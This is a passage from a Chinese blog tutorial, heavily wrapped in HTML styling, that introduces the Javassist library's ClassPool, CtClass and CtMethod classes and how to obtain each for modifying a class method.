serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">由于我们的目的只是修改某个类的某个方法，所以下面只介绍这一部分，更多的信息可以参考下面的<span style="box-sizing: border-box;color: rgb(172, 133, 2);line-height: 1.5;">参考资料<sup style="box-sizing: border-box;">[1]</sup></span>。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><section data-tools="135编辑器" data-id="97529" data-color="#feecaf"><section style="margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;text-align: left;"><section style="box-sizing:border-box;width:40px;margin-right:-20px;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: 6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: 16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section><section style="display:inline-block;margin-top:6px;"><section style="border-width: 2px;border-style: dashed;border-color: rgb(254, 236, 175);background-color: rgb(254, 254, 254);padding: 6px 2em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 16px;text-align: center;color: rgb(51, 51, 51);"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ClassPool</span></strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></section></section><section style="box-sizing: border-box;width: 80%;height: 6px;margin-right: auto;margin-left: auto;background-color: rgb(254, 236, 175);border-bottom-left-radius: 20px;border-bottom-right-radius: 20px;color: rgb(172, 133, 2);overflow: hidden;" data-width="80%"><br/></section></section><section style="box-sizing:border-box;width:40px;transform: rotate(0deg);transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: -6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: -16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section></section></section></section><section data-role="paragraph" data-color="#feecaf"><p><br/></p></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这个类是</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">javassist</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">的核心组件之一。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">来看一下官方对他的介绍：</span></p><blockquote style="box-sizing: border-box;margin: 20px 10px;padding-top: 1px;padding-bottom: 1px;font-size: 16px;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;background: rgba(158, 158, 158, 0.1);border-left-color: rgb(158, 158, 158);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><p style="text-align:left;box-sizing: border-box;margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ClassPool</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">是</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">CtClass</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">对象的容器。</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">CtClass</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">对象必须从该对象获得。如果</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">get()</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在此对象上调用，则它将搜索表示的各种源</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ClassPath</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 以查找类文件，然后创建一个</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">CtClass</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">表示该类文件的对象。创建的对象将返回给调用者。</span></p></blockquote><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">简单来说，这就是个容器，存放的是</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">CtClass</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">对象。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">获得方法： </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ClassPool cp = ClassPool.getDefault();</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。通过 </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ClassPool.getDefault()</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 获取的 </span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ClassPool</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"> 使用 JVM 的类搜索路径。<strong style="box-sizing: border-box;color: rgb(172, 133, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上，ClassPool 可能无法找到用户的类</strong>，因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下，<strong style="box-sizing: border-box;color: rgb(172, 133, 2);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">ClassPool 必须添加额外的类搜索路径</strong>。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">cp.insertClassPath(new ClassClassPath(&lt;Class&gt;));</span></code></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><section data-tools="135编辑器" data-id="97529" data-color="#feecaf"><section style="margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;text-align: left;"><section style="box-sizing:border-box;width:40px;margin-right:-20px;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: 6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: 16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section><section style="display:inline-block;margin-top:6px;"><section style="border-width: 2px;border-style: dashed;border-color: rgb(254, 236, 175);background-color: rgb(254, 254, 254);padding: 6px 2em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 16px;text-align: center;color: rgb(51, 51, 51);"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">CtClass</span></strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></section></section><section style="box-sizing: border-box;width: 80%;height: 6px;margin-right: auto;margin-left: auto;background-color: rgb(254, 236, 175);border-bottom-left-radius: 20px;border-bottom-right-radius: 20px;color: rgb(172, 133, 2);overflow: hidden;" data-width="80%"><br/></section></section><section style="box-sizing:border-box;width:40px;transform: rotate(0deg);transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: -6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: -16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">可以把它理解成加强版的</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Class</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">对象，需要从</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ClassPool</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">中获得。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">获得方法：</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">CtClass cc = cp.get(ClassName)</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><section data-tools="135编辑器" data-id="97529" data-color="#feecaf"><section style="margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;text-align: left;"><section style="box-sizing:border-box;width:40px;margin-right:-20px;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: 6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: 16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section><section style="display:inline-block;margin-top:6px;"><section style="border-width: 2px;border-style: dashed;border-color: rgb(254, 236, 175);background-color: rgb(254, 254, 254);padding: 6px 2em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 16px;text-align: center;color: rgb(51, 51, 51);"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">CtMeth</span></strong><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">o</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">d</span></strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></section></section><section style="box-sizing: border-box;width: 80%;height: 6px;margin-right: auto;margin-left: auto;background-color: rgb(254, 236, 175);border-bottom-left-radius: 20px;border-bottom-right-radius: 20px;color: rgb(172, 133, 2);overflow: hidden;" data-width="80%"><br/></section></section><section style="box-sizing:border-box;width:40px;transform: rotate(0deg);transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: -6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: -16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">同理，可以理解成加强版的</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Method</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">对象。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">获得方法：</span><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">CtMethod m = cc.getDeclaredMethod(MethodName)</span></code><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, 